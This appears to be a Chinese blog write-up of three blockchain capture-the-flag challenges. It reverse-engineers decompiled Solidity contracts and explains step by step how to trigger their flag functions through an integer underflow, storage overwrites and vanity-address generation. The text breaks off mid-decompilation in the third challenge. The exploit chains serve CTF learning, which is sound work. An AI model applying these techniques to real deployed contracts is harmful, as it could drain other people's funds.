区块链Practicing

题目

数字经济CTF-COW区块链题目详解

这题是从先知社区上看到的题目,然后正在学区块链就来分析下。

因为编写脚本其实连蒙带抄都能写出来,重要的是整个过程的复现。找到payforflag的触发条件,以及锻炼整个的逆向合约的能力。

话不多说直接贴反汇编代码了。

contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
    
        if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
    
        var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
    
        if (var0 == 0x1a374399) {
            // Dispatch table entry for 0x1a374399 (unknown)
            var var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x00be;
            var var2 = func_02FA();
            var temp0 = memory[0x40:0x60];
            memory[temp0:temp0 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
            var temp1 = memory[0x40:0x60];
            return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
        } else if (var0 == 0x1cee5d7a) {
            // Dispatch table entry for 0x1cee5d7a (unknown)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x0115;
            var2 = func_0320();
            var temp2 = memory[0x40:0x60];
            memory[temp2:temp2 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
            var temp3 = memory[0x40:0x60];
            return memory[temp3:temp3 + (temp2 + 0x20) - temp3];
        } else if (var0 == 0x6bc344bc) {
            // Dispatch table entry for payforflag(string)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x01be;
            var temp4 = msg.data[0x04:0x24] + 0x04;
            var temp5 = msg.data[temp4:temp4 + 0x20];
            var temp6 = memory[0x40:0x60];
            memory[0x40:0x60] = temp6 + (temp5 + 0x1f) / 0x20 * 0x20 + 0x20;
            memory[temp6:temp6 + 0x20] = temp5;
            memory[temp6 + 0x20:temp6 + 0x20 + temp5] = msg.data[temp4 + 0x20:temp4 + 0x20 + temp5];
            var2 = temp6;
            payforflag(var2);
            stop();
        } else if (var0 == 0x8da5cb5b) {
            // Dispatch table entry for owner()
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x01d5;
            var2 = owner();
            var temp7 = memory[0x40:0x60];
            memory[temp7:temp7 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
            var temp8 = memory[0x40:0x60];
            return memory[temp8:temp8 + (temp7 + 0x20) - temp8];
        } else if (var0 == 0x96c50336) {
            // Dispatch table entry for 0x96c50336 (unknown)
            var1 = 0x021f;
            func_059E();
            stop();
            

        } else if (var0 == 0x9ae5a2be) {
            // Dispatch table entry for 0x9ae5a2be (unknown)
            var1 = 0x0229;
            func_0654();
            stop();
        } else if (var0 == 0xd0d124c0) {
            // Dispatch table entry for 0xd0d124c0 (unknown)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x0240;
            var2 = func_0730();
            var temp9 = memory[0x40:0x60];
            memory[temp9:temp9 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
            var temp10 = memory[0x40:0x60];
            return memory[temp10:temp10 + (temp9 + 0x20) - temp10];
        } else if (var0 == 0xe3d670d7) {
            // Dispatch table entry for balance(address)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x02c3;
            var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
            var2 = balance(var2);
            var temp11 = memory[0x40:0x60];
            memory[temp11:temp11 + 0x20] = var2;
            var temp12 = memory[0x40:0x60];
            return memory[temp12:temp12 + (temp11 + 0x20) - temp12];
        } else if (var0 == 0xed6b8ff3) {
            // Dispatch table entry for 0xed6b8ff3 (unknown)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x02ee;
            func_076D();
            stop();
        } else if (var0 == 0xff2eff94) {
            // Dispatch table entry for Cow()
            var1 = 0x02f8;
            Cow();
            stop();
        } else { revert(memory[0x00:0x00]); }
    }
    
    
    
    function func_02FA() returns (var r0) { return storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff; }
    
    function func_0320() returns (var r0) { return storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff; }
    
    function payforflag(var arg0) {
        if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
    
        if (msg.sender != storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
    
        if (msg.sender != storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
    //flag 要求就是 storage[0] storage[1] storage[2] 都是 msg.sender就成功了。 
        var temp0 = address(address(this)).balance;
        var temp1 = memory[0x40:0x60];
        var temp2;
        temp2, memory[temp1:temp1 + 0x00] = address(storage[0x03] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp0 * 0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
        var var0 = !temp2;
    
        if (!var0) {
            var0 = 0x7c2413bb49085e565f72ec50a1fb0460b69cf327e0b0d882980385b356239ea5;
            var temp3 = arg0;
            var var1 = temp3;
            var temp4 = memory[0x40:0x60];
            var var2 = temp4;
            var var3 = var2;
            var temp5 = var3 + 0x20;
            memory[var3:var3 + 0x20] = temp5 - var3;
            memory[temp5:temp5 + 0x20] = memory[var1:var1 + 0x20];
            var var4 = temp5 + 0x20;
            var var6 = memory[var1:var1 + 0x20];
            var var5 = var1 + 0x20;
            var var7 = var6;
            var var8 = var4;
            var var9 = var5;
            var var10 = 0x00;
        
            if (var10 >= var7) {
            label_053B:
                var temp6 = var6;
                var4 = temp6 + var4;
                var5 = temp6 & 0x1f;
            
                if (!var5) {
                    var temp7 = memory[0x40:0x60];
                    log(memory[temp7:temp7 + var4 - temp7], [stack[-6]]);
                    return;
                } else {
                    var temp8 = var5;
                    var temp9 = var4 - temp8;
                    memory[temp9:temp9 + 0x20] = ~(0x0100 ** (0x20 - temp8) - 0x01) & memory[temp9:temp9 + 0x20];
                    var temp10 = memory[0x40:0x60];
                    log(memory[temp10:temp10 + (temp9 + 0x20) - temp10], [stack[-6]]);
                    return;
                }
            } else {
            label_0529:
                var temp11 = var10;
                memory[var8 + temp11:var8 + temp11 + 0x20] = memory[var9 + temp11:var9 + temp11 + 0x20];
                var10 = temp11 + 0x20;
            
                if (var10 >= var7) { goto label_053B; }
                else { goto label_0529; }
            }
        } else {
            var temp12 = returndata.length;
            memory[0x00:0x00 + temp12] = returndata[0x00:0x00 + temp12];
            revert(memory[0x00:0x00 + returndata.length]);
        }
    }
    
    function owner() returns (var r0) { return storage[0x03] & 0xffffffffffffffffffffffffffffffffffffffff; }
    
    function func_059E() {
        var var0 = 0x00;
        var var1 = var0;//0
        var var2 = 0x0de0b6b3a7640000;//1 ether
        var var3 = msg.value;
    
        if (!var2) { assert(); }
    
        var0 = var3 / var2;
    
        if (var0 >= 0x01) { //传入大于 1ether 
            var temp0 = var1 + 0x01; //temp0=1 
            storage[temp0] = msg.sender | (storage[temp0] & ~0xffffffffffffffffffffffffffffffffffffffff);
            //storage[1]=msg.sender
			return;
        } else {
            var1 = 0x05;
            storage[var1] = msg.sender | (storage[var1] & ~0xffffffffffffffffffffffffffffffffffffffff);
            return;
        }
    }
    
    function func_0654() {
        var var0 = 0x00;//0
        var var1 = 0x0de0b6b3a7640000;//1 ether
        var var2 = msg.value;
    
        if (!var1) { assert(); }
    
        var0 = var2 / var1;
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x04;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + var0;
    
        if (msg.sender & 0xffff != 0x525b) { return; }//末尾为525b 
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x04;
        var temp1 = keccak256(memory[0x00:0x40]);
        storage[temp1] = storage[temp1] - 0xb1b1; //x-=45489 溢出 
    }
    
    function func_0730() returns (var r0) { return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; }
    
    function balance(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x04;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
    }
    
    function func_076D() {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x04;
    
        if (storage[keccak256(memory[0x00:0x40])] <= 0x0f4240) //62016
		{ revert(memory[0x00:0x00]); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x04;
        storage[keccak256(memory[0x00:0x40])] = 0x00;
        storage[0x02] = msg.sender | (storage[0x02] & ~0xffffffffffffffffffffffffffffffffffffffff);//msg.sender 
    	//msg.sender 
	}
    
    function Cow() {
        var var0 = 0x00;
        var var1 = 0x0de0b6b3a7640000;//1 ether
        var var2 = msg.value;
    
        if (!var1) { assert(); }
    
        var0 = var2 / var1;
    
        if (var0 != 0x01) { return; } //必须转账1 ether 
    //storage[0] 就满足要求。 
        storage[0x00] = msg.sender | (storage[0x00] & ~0xffffffffffffffffffffffffffffffffffffffff); // msg.sender
    }
}

代码中做了一定的注释。不过下面还是对具体的分析做流程。

  1. 寻找payforflag的条件。

2. 从这里我们可以看出payforflag 3个条件就是让msg.sender == storage[0] storage[1] 和 storage[2]

然后我们只需要从下面的代码从修改stroage[0,1,2]的值开始入手即可。

func_059E() 中 我已经写了注释,其中要求传入var0>= 1 ether即可,就可以调整storage[temp0] 也就是storage[1]=msg.sender.

查看func_0654()

这里要求是一个传入的账户必需以525b结尾,然后最后给了一个storage[temp1]-=0xb1b1自然而然可以想到溢出 ,这里temp1是一个我们的特征值。可以理解为独立标志我们的一个mapping。

接着看

func_076D中,他对我们的散列进行了判断,也就是kccak256(memory[0x00:0x40]) 这里进行了判断,判断此值是否<=62016 ,这里我们自然而然可以想到之前的溢出,下溢之后就可以满足这里,从而使得storage[2]=msg.sender.

funtion Cow() 真不容易遇到了个能解析出来名字的(x

这里满足转账为1ether 就能实现 storage[0]=msg.sender.

至此三个条件均满足,可以进行payforflag了。

但是有个问题还没想通:等着问dalao了,如何保证转账账户结尾为525b呢 。 2333

PS : 解决了,找到了pikachu大佬的博客下有这样一篇博文,

https://hitcxy.com/2020/generate-address/
from ethereum import utils
import os, sys

# generate EOA with appendix 1b1b
def generate_eoa1():
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not addr.lower().endswith("1b1b"):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))

    print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


# generate EOA with the ability to deploy contract with appendix 1b1b
def generate_eoa2():
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("1b1b"):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))


    print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


if __name__  == "__main__":
    if sys.argv[1] == "1":
        generate_eoa1()
    elif sys.argv[1] == "2":
        generate_eoa2()
    else:
        print("Please enter valid argument")
  • generate_eoa1 可以直接生成低四位为 1b1b 的外部账户
  • generate_eoa2 可以生成一个外部账户,该外部账户部署的第一个智能合约的地址低四位为 1b1b

数字经济CTF-RISE区块链题目详解

这是数字经济第二题,两题都是pikachu师傅出的,主要还是考察逆向出整个合约的逻辑。话不多说还是进行合约逆向。

contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
    
        if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
    
        var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
    
        if (var0 == 0x0dc8cca1) {
            // Dispatch table entry for 0x0dc8cca1 (unknown)
            var var1 = 0x00bc;
            var var2 = msg.data[0x04:0x24];
            func_0293(var2);
            stop();
        } else if (var0 == 0x132429ba) {
            // Dispatch table entry for 0x132429ba (unknown)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x00ff;
            var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
            func_03B2(var2);
            stop();
        } else if (var0 == 0x3884d635) {
            // Dispatch table entry for airdrop()
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x0116;
            airdrop();
            stop();
        } else if (var0 == 0x6bc344bc) {
            // Dispatch table entry for payforflag(string)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x017f;
            var temp0 = msg.data[0x04:0x24] + 0x04;
            var temp1 = msg.data[temp0:temp0 + 0x20];
            var temp2 = memory[0x40:0x60];
            memory[0x40:0x60] = temp2 + (temp1 + 0x1f) / 0x20 * 0x20 + 0x20;
            memory[temp2:temp2 + 0x20] = temp1;
            memory[temp2 + 0x20:temp2 + 0x20 + temp1] = msg.data[temp0 + 0x20:temp0 + 0x20 + temp1];
            var2 = temp2;
            payforflag(var2);
            stop();
        } else if (var0 == 0x8e2a219e) {
            // Dispatch table entry for 0x8e2a219e (unknown)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x01ac;
            var2 = msg.data[0x04:0x24];
            func_0860(var2);
            stop();
        } else if (var0 == 0x9ec1ebb8) {
            // Dispatch table entry for 0x9ec1ebb8 (unknown)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x01d9;
            var2 = msg.data[0x04:0x24];
            func_08C6(var2);
            stop();
        } else if (var0 == 0xcbfc4bce) {
            // Dispatch table entry for gift(address)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x021c;
            var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
            var2 = gift(var2);
            var temp3 = memory[0x40:0x60];
            memory[temp3:temp3 + 0x20] = var2;
            var temp4 = memory[0x40:0x60];
            return memory[temp4:temp4 + (temp3 + 0x20) - temp4];
        } else if (var0 == 0xd0e30db0) {
            // Dispatch table entry for deposit()
            var1 = 0x023a;
            deposit();
            stop();
        } else if (var0 == 0xe3d670d7) {
            // Dispatch table entry for balance(address)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x027d;
            var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
            var2 = balance(var2);
            var temp5 = memory[0x40:0x60];
            memory[temp5:temp5 + 0x20] = var2;
            var temp6 = memory[0x40:0x60];
            return memory[temp6:temp6 + (temp5 + 0x20) - temp6];
        } else { revert(memory[0x00:0x00]); }
    }
    
    function func_0293(var arg0) {       
	    var var0 = 0x00;

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x03;
    
        if (storage[keccak256(memory[0x00:0x40])] <= var0) { revert(memory[0x00:0x00]); }
    //如果没钱就滚了。  // storage[3]
        var var1 = 0x0de0b6b3a7640000;
        var var2 = msg.value;
    
        if (!var1) { assert(); }
    
        var0 = var2 / var1;
    
        if (arg0 != storage[0x01]) { //arg0 不是 storage[1] 
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x03;
            storage[keccak256(memory[0x00:0x40])] = 0x00; // //storage[sanlie(msg.sender)]=0
            storage[0x02] = 0x01;// storage[2]=1 ether
            return;
        } else {
            memory[0x00:0x20] = msg.sender; 
            memory[0x20:0x40] = 0x03;
            var temp0 = keccak256(memory[0x00:0x40]); // storage[sanlie(msg.sender)] 
            storage[temp0] = storage[temp0] + var0 * storage[0x02];//storage[sanlie(msg.sender)]=storage[sanlie(msg.sender)]+var0(传入以太币)*storage[2]
            storage[0x02] = 0x01;// storage[2]=1 ether
            return;
        }
    }
    
    function func_03B2(var arg0) {
        var var0 = 0x00;
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x03;
    
        if (storage[keccak256(memory[0x00:0x40])] <= var0)//<0
        //storage[3]<=0
		 { revert(memory[0x00:0x00]); }
    //storage[sanlie(msg.sender)]<=0 返回 
        if (arg0  == 0x00) {
            var temp0 = var0;
            var temp1 = temp0;//var0
            storage[temp1] = msg.sender | (storage[temp1] & ~0xffffffffffffffffffffffffffffffffffffffff);
           // storage[0]=msg.sender
			memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x03;
            storage[temp0 + 0x01] = storage[keccak256(memory[0x00:0x40])];
            //storage[1]=storage[3]
			memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x03;
            storage[keccak256(memory[0x00:0x40])] = 0x00;
            //storage[3]=0
			return;
        } else {
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x03;
            var temp2 = storage[keccak256(memory[0x00:0x40])];
            //temp2 =   storage[3]
            memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
            memory[0x20:0x40] = 0x03;
            storage[keccak256(memory[0x00:0x40])] = temp2;
            //storage[arg0]=storage[3];
            memory[0x00:0x20] = msg.sender;
            memory[0x20:0x40] = 0x03;
            storage[keccak256(memory[0x00:0x40])] = 0x00;
            //storage[3]=0
			return;
        }
    }
    
    function airdrop() {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x04;
    	
        if (storage[keccak256(memory[0x00:0x40])] != 0x00) { revert(memory[0x00:0x00]); } //不是0不给空投 
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x04;
        //其实storage[4]一直没操作过。但是得调用 这个1000000次确实卡比。 
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x03;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x01; //给 1 ether 空投。 
       //storage[3]+=1 
    }
    
    function payforflag(var arg0) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x03;
    
        if (storage[keccak256(memory[0x00:0x40])] <= 0x0f4240) { revert(memory[0x00:0x00]); }
    		//storage[sasnlie(msg.sender)]> 1000000
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x03;
        storage[keccak256(memory[0x00:0x40])] = 0x00;
        storage[0x02] = 0x01;
        var temp0 = address(address(this)).balance;
        var temp1 = memory[0x40:0x60];
        var temp2;
        temp2, 
		memory[temp1:temp1 + 0x00] = address(storage[0x05] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp0 * 0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
        var var0 = !temp2;
    
        if (!var0) {
            var0 = 0x7c2413bb49085e565f72ec50a1fb0460b69cf327e0b0d882980385b356239ea5;
            var temp3 = arg0;
            var var1 = temp3;
            var temp4 = memory[0x40:0x60];
            var var2 = temp4;
            var var3 = var2;
            var temp5 = var3 + 0x20;
            memory[var3:var3 + 0x20] = temp5 - var3;
            memory[temp5:temp5 + 0x20] = memory[var1:var1 + 0x20];
            var var4 = temp5 + 0x20;
            var var6 = memory[var1:var1 + 0x20];
            var var5 = var1 + 0x20;
            var var7 = var6;
            var var8 = var4;
            var var9 = var5;
            var var10 = 0x00;
        
            if (var10 >= var7) {
            label_0823:
                var temp6 = var6;
                var4 = temp6 + var4;
                var5 = temp6 & 0x1f;
            
                if (!var5) {
                    var temp7 = memory[0x40:0x60];
                    log(memory[temp7:temp7 + var4 - temp7], [stack[-6]]);
                    return;
                } else {
                    var temp8 = var5;
                    var temp9 = var4 - temp8;
                    memory[temp9:temp9 + 0x20] = ~(0x0100 ** (0x20 - temp8) - 0x01) & memory[temp9:temp9 + 0x20];
                    var temp10 = memory[0x40:0x60];
                    log(memory[temp10:temp10 + (temp9 + 0x20) - temp10], [stack[-6]]);
                    return;
                }
            } else {
            label_0811:
                var temp11 = var10;
                memory[var8 + temp11:var8 + temp11 + 0x20] = memory[var9 + temp11:var9 + temp11 + 0x20];
                var10 = temp11 + 0x20;
            
                if (var10 >= var7) { goto label_0823; }
                else { goto label_0811; }
            }
        } else {
            var temp12 = returndata.length;
            memory[0x00:0x00 + temp12] = returndata[0x00:0x00 + temp12];
            revert(memory[0x00:0x00 + returndata.length]);
        }
    }
    
    function func_0860(var arg0) {
        if (msg.sender != storage[0x05] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
    
        storage[0x01] = arg0;
        //storage[5]=msg.sender判断
		//storage[1]随便赋值 
    }
    
    function func_08C6(var arg0) {
        if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
    
        storage[0x02] = arg0;
        //storage[0]=msg.sender;
		//storage[2]随便赋值。 
    }
    
    function gift(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x04;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
        //storage[arg0] 返回对应地址storage[4] 
    }
    
    function deposit() {
        var var0 = 0x00;
        var var1 = 0x0de0b6b3a7640000; //1 ether 
        var var2 = msg.value;
    
        if (!var1) { assert(); }
    
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x03;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + var2 / var1;
        //捐钱 
    }
    
    function balance(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x03;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
		//storage[3] 
    }
}

已经加过了注释。不过还是整体分析下

先看payforflag

逻辑很简单,就是storage[3]>1000000就可以得到flag了。

就是一个空投,没钱给你一个币。 因为这里的storage[4]他直接被storage[3]覆盖了,其实你要是牛逼你可以调用1000000次。

func_08C6 可以实现storage[0]=msg.sender. 并且让storage[2]随便填。

看这函数名就知道是捐款。 捐多少 storage[3]加多少。

用来拿钱的主要函数了。这里先会判断 storage[3]有没有钱。

传入的arg0是一个值,就是来判断 你是不是storage[1]里存的这个数。

如果是那么就可以执行一个storage[3]的任意赋值了,

storage[3]+=var0*storage[2];

var0=var2/var1 , var2=msg.value (就是你传了多少钱)

所以只需要让storage[2]大点。

这个需要你 msg.sender=storage[5]

然后storage[1]随便赋值。

另一个十分重要函数,传入arg0若有钱即storage[3]>0 且args=0 那么就storage[0]=msg.sender, Storage[1]=storage[3],storage[3]=0.

就是换了地址其实。

但是十分有用。

那么到现在整个解题链已经出了。

  • deposit() 传入value=1 ether
  • func_03B2(0)
  • func_08C6(1000000)
  • deposit() 传入value=2 ether
  • func_0293(1)
  • payforflag(b64email)

大概这样不是很直观。用excel画个图

deposit(). 传 1 ether

func_03B2(0)

func_08C6(1000000)

deposit() 传2 ether

func_0293(1)

storage[temp0] = storage[temp0] + var0 * storage[0x02]=storage[3] = storage[3] + 2 * 1000000;

这样就够了直接

payforflag()就结束了。


强网杯区块链题目--Babybank深入分析

还是老操作直接合约逆向贴代码了。

contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
    
        if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
    
        var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
    
        if (var0 == 0x2e1a7d4d) {
            // Dispatch table entry for withdraw(uint256)
            var var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x00aa;
            var var2 = msg.data[0x04:0x24];
            withdraw(var2);
            stop();
        } else if (var0 == 0x66d16cc3) {
            // Dispatch table entry for profit()
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x00aa;
            profit();
            stop();
        } else if (var0 == 0x8c0320de) {
            // Dispatch table entry for payforflag(string,string)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var temp0 = memory[0x40:0x60];
            var temp1 = msg.data[0x04:0x24];
            var temp2 = msg.data[temp1 + 0x04:temp1 + 0x04 + 0x20];
            memory[0x40:0x60] = temp0 + (temp2 + 0x1f) / 0x20 * 0x20 + 0x20;
            memory[temp0:temp0 + 0x20] = temp2;
            var1 = 0x00aa;
            memory[temp0 + 0x20:temp0 + 0x20 + temp2] = msg.data[temp1 + 0x24:temp1 + 0x24 + temp2];
            var temp3 = memory[0x40:0x60];
            var temp4 = msg.data[0x24:0x44] + 0x04;
            var temp5 = msg.data[temp4:temp4 + 0x20];
            memory[0x40:0x60] = temp3 + (temp5 + 0x1f) / 0x20 * 0x20 + 0x20;
            memory[temp3:temp3 + 0x20] = temp5;
            var2 = temp0;
            memory[temp3 + 0x20:temp3 + 0x20 + temp5] = msg.data[temp4 + 0x20:temp4 + 0x20 + temp5];
            var var3 = temp3;
            payforflag(var2, var3);
            stop();
        } else if (var0 == 0x8e2a219e) {
            // Dispatch table entry for 0x8e2a219e (unknown)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x00aa;
            var2 = msg.data[0x04:0x24];
            func_045C(var2);
            stop();
        } else if (var0 == 0x9189fec1) {
            // Dispatch table entry for guess(uint256)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x00aa;
            var2 = msg.data[0x04:0x24];
            guess(var2);
            stop();
        } else if (var0 == 0xa9059cbb) {
            // Dispatch table entry for transfer(address,uint256)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x00aa;
            var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
            var3 = msg.data[0x24:0x44];
            transfer(var2, var3);
            stop();
        } else if (var0 == 0xd41b6db6) {
            // Dispatch table entry for level(address)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x01e7;
            var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
            var2 = level(var2);
        
        label_01E7:
            var temp6 = memory[0x40:0x60];
            memory[temp6:temp6 + 0x20] = var2;
            var temp7 = memory[0x40:0x60];
            return memory[temp7:temp7 + temp6 - temp7 + 0x20];
        } else if (var0 == 0xe3d670d7) {
            // Dispatch table entry for balance(address)
            var1 = msg.value;
        
            if (var1) { revert(memory[0x00:0x00]); }
        
            var1 = 0x01e7;
            var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
            var2 = balance(var2);
            goto label_01E7;
        } else { revert(memory[0x00:0x00]); }
    }
    
    function withdraw(var arg0) {
        if (arg0 != 0x02) { revert(memory[0x00:0x00]); }
    // arg0==2 
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
    
        if (arg0 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    // storage[msg.sender[0]]>=2
        var temp0 = memory[0x40:0x60];
        var temp1 = arg0;
        memory[temp0:temp0 + 0x00] = address(msg.sender).call.gas(msg.gas).value(temp1 * 0x5af3107a4000)(memory[temp0:temp0 + 0x00]);
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp2 = keccak256(memory[0x00:0x40]);
        storage[temp2] = storage[temp2] - temp1;
        // storage[msg.sender[0]]-=arg0
    }
    
    function profit() {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    //storage[msg.sender[1]]==0
        if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    
        if (msg.sender & 0xffff != 0xb1b1) { revert(memory[0x00:0x00]); }
    //msg.sender末尾b1b1	
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x01;
    //storage[msg.sender[0]]+=1
        memory[0x20:0x40] = 0x01;
        var temp1 = keccak256(memory[0x00:0x40]);
        storage[temp1] = storage[temp1] + 0x01;
    //storage[msg.sender[1]]+=1
    }
    
    function payforflag(var arg0, var arg1) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
    
        if (0x02540be400 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    //storage[msg.sender[0]]>=10000000000
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        storage[keccak256(memory[0x00:0x40])] = 0x00;
        var temp0 = memory[0x40:0x60];
        var temp1 = address(address(this)).balance;
        var temp2;
        temp2, memory[temp0:temp0 + 0x00] = address(storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp0:temp0 + 0x00]);
        var var0 = !temp2;
    
        if (!var0) {
            var0 = 0x6335b7f9c4dff99c3a870eaf18b802774df3aba4e21b72549f3a03b6bc974c90;
            var temp3 = arg0;
            var var1 = temp3;
            var var2 = arg1;
            var temp4 = memory[0x40:0x60];
            var var3 = temp4;
            var var4 = var3;
            var var5 = var4 + 0x20;
            var temp5 = var5 + 0x20;
            memory[var4:var4 + 0x20] = temp5 - var4;
            memory[temp5:temp5 + 0x20] = memory[var1:var1 + 0x20];
            var var6 = temp5 + 0x20;
            var var7 = var1 + 0x20;
            var var8 = memory[var1:var1 + 0x20];
            var var9 = var8;
            var var10 = var6;
            var var11 = var7;
            var var12 = 0x00;
        
            if (var12 >= var9) {
            label_03BC:
                var temp6 = var8;
                var6 = temp6 + var6;
                var7 = temp6 & 0x1f;
            
                if (!var7) {
                    var temp7 = var6;
                    memory[var5:var5 + 0x20] = temp7 - var3;
                    var temp8 = var2;
                    memory[temp7:temp7 + 0x20] = memory[temp8:temp8 + 0x20];
                    var6 = temp7 + 0x20;
